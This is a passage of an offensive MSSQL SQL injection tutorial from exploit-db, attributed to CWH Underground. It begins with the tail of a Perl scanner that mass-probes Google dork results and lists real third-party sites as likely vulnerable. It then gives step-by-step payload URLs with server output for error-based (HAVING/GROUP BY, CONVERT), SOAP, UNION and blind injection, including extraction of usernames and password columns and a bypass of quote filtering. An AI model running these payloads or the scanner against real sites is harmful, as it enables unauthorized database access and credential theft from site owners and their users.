"http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$start; $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2'); $ua->timeout(10); $ua->env_proxy; $response = $ua->get($t); if ($response->is_success) { $c = $response->content; @stuff = split(/<a href=/,$c); foreach $line(@stuff) { if($line =~/(.*) class=l/ig) { $out = $1; $out =~ s/"//g; $out =~s/$/'/; $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2'); $ua->timeout(10); $ua->env_proxy; $response = $ua->get($out); $error = $response->content(); if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/) {print "$out => Could be Vulnerable in MySQL Injection!!n";} elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/) {print "$out => Could be Vulnerable in MS Access Injection!!n";} elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/) {print "$out => Could be Vulnerable in MSSQL Injection!!n";} elsif($error =~m/Microsoft OLE DB Provider for Oracle/) {print "$out => Could be Vulnerable in Oracle Injection!!n";} } } } } [End code]---------------------------------------------------------------------------------- [output]------------------------------------------------------------------------------------ +++++++++++++++++++++++++++++++ + SQL - Google Search + + CWH Underground + +++++++++++++++++++++++++++++++ Insert Dork:index.asp?sid= Total Query Pages (10 Links/Pages) :5 [+] Result: http://www.ris.org.uk/index.asp?sid=7&mid=5' => Could be Vulnerable in MSSQL Injection!! http://www.waterbucket.ca/rm/index.asp?type=single&sid=44&id=307' => Could be Vulnerable in MSSQL Injection!! http://www.ilri.org/research/Index.asp?SID=4' => Could be Vulnerable in MSSQL Injection!! [End output]-------------------------------------------------------------------------------- ############################################ [0x02] - MSSQL Normal SQL Injection Attack ############################################ 4 of 17 12/24/10 5:49 PM
  • 5. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY" ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ We can use information from error message produced by the MS SQL Server to get almost any data we want. - "GROUP BY" is a microsoft sql server command used to group output of particular sql query. - "HAVING" is a command used to specify a search condition for a group or an aggregate. this command is always used with "GROUP BY" otherwise the error will return. As the operation of these two commands, we can take advantage of them in order to obtain particular table name and all column names of this table. We will explain you by using an example. First, The target has a table called "news" and in news, there are three columns, which are news_id, news_author a The vulnerable page is http://www.example.com/page.asp?id=1 The query in this page is something like [Query]----------------------------------------------------------------------------- var query = "SELECT * FROM news WHERE news_id= '" + column+ "'"; [End query]------------------------------------------------------------------------- So, we can inject HAVING command in order to observe returned error [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1' HAVING 1=1-- [End SQLi]-------------------------------------------------------------------------- The query will be SELECT * FROM news WHERE news_id='1' HAVING 1=1--' We will get the error as following: ------------------------------------------------------------------------------------ Microsoft OLE DB Provider for SQL Server error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause. ------------------------------------------------------------------------------------ In this error, we know table name = "news", used in this page and one column name = "news_id", contained in particular table. The error is originate from using HAVING command without GROUP BY command. Moreover, we can get the other column names by using combination of GROUP BY and HAVING command. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1-- [End SQLi]-------------------------------------------------------------------------- The query will be SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id HAVING 1=1--' We will get the error ------------------------------------------------------------------------------------ Microsoft OLE DB Provider for SQL Server error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause. ------------------------------------------------------------------------------------ Now, we know the second column name of table1 = "news_author". The third column name can be obtained by adding the second column name in the previous query [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1-- [End SQLi]-------------------------------------------------------------------------- The query will be SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author HAVING 1=1--' The request will generate following error ------------------------------------------------------------------------------------ Microsoft OLE DB Provider for SQL Server error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause. ------------------------------------------------------------------------------------ The third column name = "news_detail", pops up in returned error. If we had more columns, we could add news_detail in GROUP BY clause of previous request then we could get the forth column name. When we added all of column in GROUP BY clause, we will get normal result and we absolutely know that we obtained all column name in table1. As this example, the request below will generate no error. [SQLi]------------------------------------------------------------------------------ 5 of 17 12/24/10 5:49 PM
  • 6. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1-- [End SQLi]-------------------------------------------------------------------------- The query will be SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--' As no error return, we know that table1 consists of three columns which are "news_id", "news_author" and "news_detail". ++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x02b] - ODBC Error Message Attack with "CONVERT" ++++++++++++++++++++++++++++++++++++++++++++++++++++ In our opinion, MSSQL expresses much information in returned error. It is useful for programmers to debug their ap it is valuable for many attackers, as seeing in previous section. In this section, we provide another method of utilizing from MSSQL error through a command called "convert". convert command is used to convert between two data type and when the specific data cannot convert to another type, this command will return error. let see through an example: In this example, we show you how to obtain MSSQL_Version, DB_name, User_name. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)-- [End SQLi]-------------------------------------------------------------------------- Error Message returned: ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack ' to data type int. /page.asp, line 9 ------------------------------------------------------------------------------------ Now, We know the version of MSSQL and OS (Windows 2003 Server), Let's go to enumerate DB_name. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,db_name())-- [End SQLi]-------------------------------------------------------------------------- Error Message returned: ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwhdb' to data type int. /page.asp, line 9 ------------------------------------------------------------------------------------ We can know the Database name = "cwhdb", Next is query for get current user that run DB. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,user_name())-- [End SQLi]-------------------------------------------------------------------------- Error Message returned: ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'sa' to data type int. /showthread.asp, line 9 ------------------------------------------------------------------------------------ W00t!! W00t!!, It use "sa" privileges lol. This information can help us that we can use extended stored procedure "XP_CMDSHELL" to run arbitrary command executes. In next example, we show you how to obtain table names, column names and data. Take a look at our First request [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))-- [End SQLi]-------------------------------------------------------------------------- "information_schema.tables" stores information about tables in databases and there is a field called "table_name" which stores names of each table. The result of this request is something like this: ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'threads' to data type int. /page.asp, line 9 ------------------------------------------------------------------------------------ From the query, we get threads as a nvarchar data type and as it cannot convert from threads to int data type, the Therefore, we know the first table = "threads", from this error. The next step is looking for the second table. We only put WHERE clause append the query in above request. [SQLi]------------------------------------------------------------------------------ 6 of 17 12/24/10 5:49 PM
  • 7. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+whe not+in+('threads')))-- [End SQLi]-------------------------------------------------------------------------- We will get an error like this: ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'users' to data type int. /page.asp, line 9 ------------------------------------------------------------------------------------ Again, we know the second table = "users", from the error. If we want another table, we just append our known table list. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+whe not+in+('threads','users')))-- [End SQLi]-------------------------------------------------------------------------- And we will get an error: ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'forums' to data type int. /page.asp, line 9 ------------------------------------------------------------------------------------ This means the third table = "forums". On the other hand, if the previous request return something like this. ------------------------------------------------------------------------------------ ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. /page.asp, line 10 ------------------------------------------------------------------------------------ It means this database consists of only two tables, threads and users. OK, now, we already get all tables. The next target is column names. The method to retrieve column names is not much different from getting table names. We merely change from "information_schema.tables" to "information_schema.columns" and from "table_name" to "column_name" but we have to add "table_name" in WHERE cluase in order to specify the table which we will pull column names from. Don't talk too much, let see an example [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+w [End SQLi]-------------------------------------------------------------------------- From this request, we get an following error ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'uname' to data type int. /showthread.asp, line 9 ------------------------------------------------------------------------------------ As the same approach of getting table names, we abruptly know that the first column of table 'users' is "uname". For another column name, we add a bit in WHERE clause. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+w and+column_name+not+in+('uname')))-- [End SQLi]-------------------------------------------------------------------------- We will get an below error. ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'upass' to data type int. /showthread.asp, line 9 ------------------------------------------------------------------------------------ Absolutely we know the second column = "upass", of table 'users'. For getting more column names, we only append a known table list like that in getting table names. For example, [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+w and+column_name+not+in+('uname','upass')))-- [End SQLi]-------------------------------------------------------------------------- The Error message: ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'email' to data type int. /showthread.asp, line 9 ------------------------------------------------------------------------------------ So, the third column is "email". but if the error is ------------------------------------------------------------------------------------ 7 of 17 12/24/10 5:49 PM
  • 8. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. /page.asp, line 10 ------------------------------------------------------------------------------------ This means no more column left. Next is the real target which attackers want, the data. If take a look carefully, we will see that the idea is not different from getting table and column. Use the same manner but change only table and column name. If we want uname data in table users, we can do like this: [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users))-- [End SQLi]-------------------------------------------------------------------------- We will see uname in returned error. ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'admin' to data type int. /page.asp, line 9 ------------------------------------------------------------------------------------ Now, we know that there is 'admin' in column 'uname' of table 'users'. For another uname, we just create a known table list as table and column. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin') [End SQLi]-------------------------------------------------------------------------- Error again: ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwh' to data type int. /page.asp, line 9 ------------------------------------------------------------------------------------ OK, we get another "uname" which is 'cwh'. If we try following request. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin', [End SQLi]-------------------------------------------------------------------------- And we get an error like this ------------------------------------------------------------------------------------ ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. /showthread.asp, line 10 ------------------------------------------------------------------------------------ It means there are only two uname in users table (admin,cwh). +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x02d] - MSSQL Injection in Web Services (SOAP Injection) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Web Services use XML messages that follow the SOAP standard and have been popular with traditional enterprise. In such systems, there is often a machine-readable description of the operations offered by the service written in the Web Services Description Language (WSDL). SOAP is often used in large-scale enterprise applications where individual tasks are performed by different comput improve performance. It's often found where web application that deployed as a front-end to an existing application. Let's take a look for SOAP request like this: [SOAP Request]------------------------------------------------------------------------------ POST /webservice/service.asmx HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetUserInfo" Host: testcwh.cwh.net Content-Length: 345 Expect: 100-continue Connection: Keep-Alive <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body> <GetUserInfo xmlns="http://tempuri.org/"><username>admin</username><password>1234</password></GetUserInfo></soap:B [End Request]------------------------------------------------------------------------------- Can you see username(admin) and password(1234) that send to Server side ? What's happen if we injection (') single quote to username field like this: <username>admin'</username><pa before It send to Server Side. We can use Web proxy (Burpsuite, Paros proxy) to intercept SOAP request and SOAP re [SOAP Respond When we inject single quote]-------------------------------------------------- 8 of 17 12/24/10 5:49 PM
  • 9. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ HTTP/1.1 200 OK Date: Mon, 26 Jan 2009 15:45:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Content-Length: 1057 Connection: close X-Junk: xxxxxxxxxxx <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body> <GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr> System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string ''. Incorrect syntax near '81'. at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr) at System.Data.OleDb.OleDbDataReader.NextResult() at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method) at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior) at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate></ </GetUserInfoResponse></soap:Body></soap:Envelope> [End Respond]------------------------------------------------------------------------------- Okey, The SOAP respond return error message like that. We can use simple techiques for SQLi that we showed you in section [0x02b] - ODBC Error Message Attack with "CONVERT", Let's use this SQLi: admin' and 1=convert(int,@@version)-- [SOAP Request/Respond]---------------------------------------------------------------------- *** Request *** POST /webservice/service.asmx HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetUserInfo" Host: testcwh.cwh.net Content-Length: 384 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body> <GetUserInfo xmlns="http://tempuri.org/"><username>admin' and 1=convert(int,@@version)--</username><password>1234< </GetUserInfo></soap:Body></soap:Envelope> *** Response *** HTTP/1.1 200 OK Date: Wed, 28 Jan 2009 15:59:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Content-Length: 1266 Connection: close X-Junk: xxxxxxxxxxx <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body> <GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr> System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int. at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr) at System.Data.OleDb.OleDbDataReader.NextResult() at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method) at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior) at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='a and 1=convert(int,@@version)--' AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>000 </GetUserInfoResult></GetUserInfoResponse></soap:Body></soap:Envelope> [End]--------------------------------------------------------------------------------------- W00t!! W00t!!, We can enumerate MSSQL Version : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86). Then we can use SQLi techniques that we mention above (Dump tables, columns, data, Etc). ++++++++++++++++++++++++++++++++++++++++++++++ [0x02c] - MSSQL Injection with UNION Attack ++++++++++++++++++++++++++++++++++++++++++++++ This method differs from the both previous methods because we do not get information through error but we, instead, see it in some point of returned page. First of all, we have to know the exact number of selected column. We can find it by using ORDER BY clause. http://www.example.com/page.asp?id=1 order by 1-- http://www.example.com/page.asp?id=1 order by 2-- 9 of 17 12/24/10 5:49 PM
  • 10. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ http://www.example.com/page.asp?id=1 order by 3-- http://www.example.com/page.asp?id=1 order by 4-- and so on We observe a result from each request until we get error like this. ------------------------------------------------------------------------------------ Microsoft SQL Native Client error '80040e14' The ORDER BY position number 5 is out of range of the number of items in the select list. /showthread.asp, line 9 ------------------------------------------------------------------------------------ This means this page select four columns from table and this error occurs when we request http://www.example.com/page.asp? Now, we use UNION operator to gain information. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,44-- [End SQLi]-------------------------------------------------------------------------- We will see "11" or "22" or "33" or "44" appeared on some point in returned page. We assume that we have already located the position which "44" occur on the screen. (We should remember this position because it is where our information will be appeared) As we found "44" on the screen, we replace "44" with "@@version" in order to find the version of MSSQL. [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,@@version-- [End SQLi]-------------------------------------------------------------------------- We will see version of MSSQL appeared in the position which "44" occurred. At this point, we know that next information definitely takes place in this position. The rest are to find table names, column names and data. As we see in previous section, we can obtain table names and column names through "information_schema" database. We still use the same way in this approach. [SQli]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables-- [End SQLi]-------------------------------------------------------------------------- We will see the first table on the screen. We assume it is table called 'threads'. We can find next table by following req [SQli]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables where [End SQLi]-------------------------------------------------------------------------- We assume the retrieved table is 'users'. So, we append a known table list until we get blank in position which "44" occur After we get all table names that we want, we move to gather column names. [SQli]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns whe [End SQLi]-------------------------------------------------------------------------- From this request, we will see the first column in table 'users'. We assume it is 'uname'. For another column, we can use [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns whe column_name not in ('uname')-- [End SQLi]-------------------------------------------------------------------------- We get the second column which is 'upass' and we continue appending a known column list until we get blank result. The most wanted information is data. It is quite simple after we obtained table names and column names. We just use follow [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users-- [End SQLi]-------------------------------------------------------------------------- We will get data such as admin from the request. In order to get another row, we only append information list as following [SQLi]------------------------------------------------------------------------------ http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users where uname not in ('admin')-- [End SQLi]-------------------------------------------------------------------------- Now, we can enumerate the rest data. ########################################### [0x03] - MSSQL Blind SQL Injection Attack ########################################### In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you. The important point for blind sql injection is the difference between the valid and invalid query result. You have to inject a statement to make query valid or invalid and observe the response. Just because you don't see any results, doesn't mean that your injected SQL is not being executed !! ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x03a] - How to Test sites that are vulnerable in Blind SQL Injection 10 of 17 12/24/10 5:49 PM
  • 11. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ We assume that http://www.example.com/page.asp?id=1 is normal url to open web page. You can try to inject a statement like this http://www.example.com/page.asp?id=1 and 1=1 and http://www.example.com/page.asp?id=1 and 1=2 If the results from these requests are different, it will be a good signal for you. This website may fall to blind sql injection vulnerability. When you put "id=1 and 1=1", it means that the condition is true so, the response must be normal. But the parameter "id=1 and 1=2" indicates that the condition is false and if the webmaster does not provide a proper filter, the response absolutely differs from previous. ++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x03b] - Determine data through Blind SQL Injection ++++++++++++++++++++++++++++++++++++++++++++++++++++++ By using blind technique, you have to spend more time than normal injection. You can obtain only one character while you send several queries to server. We will give you an example of querying the first character of database name. We assume that database name is member. Therefore, the first character is "m" which the ascii value is 109. (At this point, we assume that you know ascii code) Ok, first, we have to know that the results from requests have only 2 forms. 1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1 2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2 The following steps are up to each person. You idea may be different from our idea in order to pick ascii code to test que http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)> In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1 (because the first character of database name is "m" which ascii code is 109). Then, we try http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)> It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely less than 120) next, we try http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)> The result is a valid query result and at this point, the ascii value of first character of database name is between 105 a So, we try http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)> http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)> http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)> http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)> You see that the first character of database name has an ascii value which is greater than 108 but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109. You can prove with: http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)= We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 . The rest which you have to do is to manipulate some queries to collect your preferred information. In this tutorial, we propose some example queries in order to find the names of tables and columns in the database. ++++++++++++++++++++++++++++++++++++++++++++ [0x03c] - Exploit query for get Table name ++++++++++++++++++++++++++++++++++++++++++++ In order to get table name, we can use above method to obtain each character of table name. The only thing that we have to do is to change query to retrieve table name of current database. As MSSQL does not have limit command. Therefore, the query is a bit complicate. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)>97 The above query is used to determine the first character of first table in current database. If we want to find se we can do by following request: http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97 We change the second parameter of substring function from 1 to 2 in order to specify preferred position of charact Thus, if we want to determine other positions, we require only changing second parameter of substring function. In case of other tables, we can find other table names by changing the second select from "SELECT TOP 1" to be "SELECT TOP 2" , "SELECT TOP 3" and so on. for example, 11 of 17 12/24/10 5:49 PM
  • 12. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97 The above request will determine the first character of the second table name in current database. +++++++++++++++++++++++++++++++++++++++++++++ [0x03d] - Exploit query for get Column name +++++++++++++++++++++++++++++++++++++++++++++ After we obtain table names, the next target information is absolutely column names. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WH id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97 In order to circumvent from magic quote filtering, you have to change 'tablename' to be the form of concatenating char() command. for example, if table name is 'user', when we put 'user' in the query, ' may be filtered and our query will be wrong. The solution is convert 'user' to be char(117)+char(115)+char(101)+char(114). So, the query in where cluase changes from "Where name='user'" to "Where name=char(117)+char(115)+char(101)+char(114)". In this case, we can circumvent magic quote filtering. The result from the above request is the first character of the fir When we want to find the second character of the first column, we can use the same method as getting table name, by changi substring function. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT 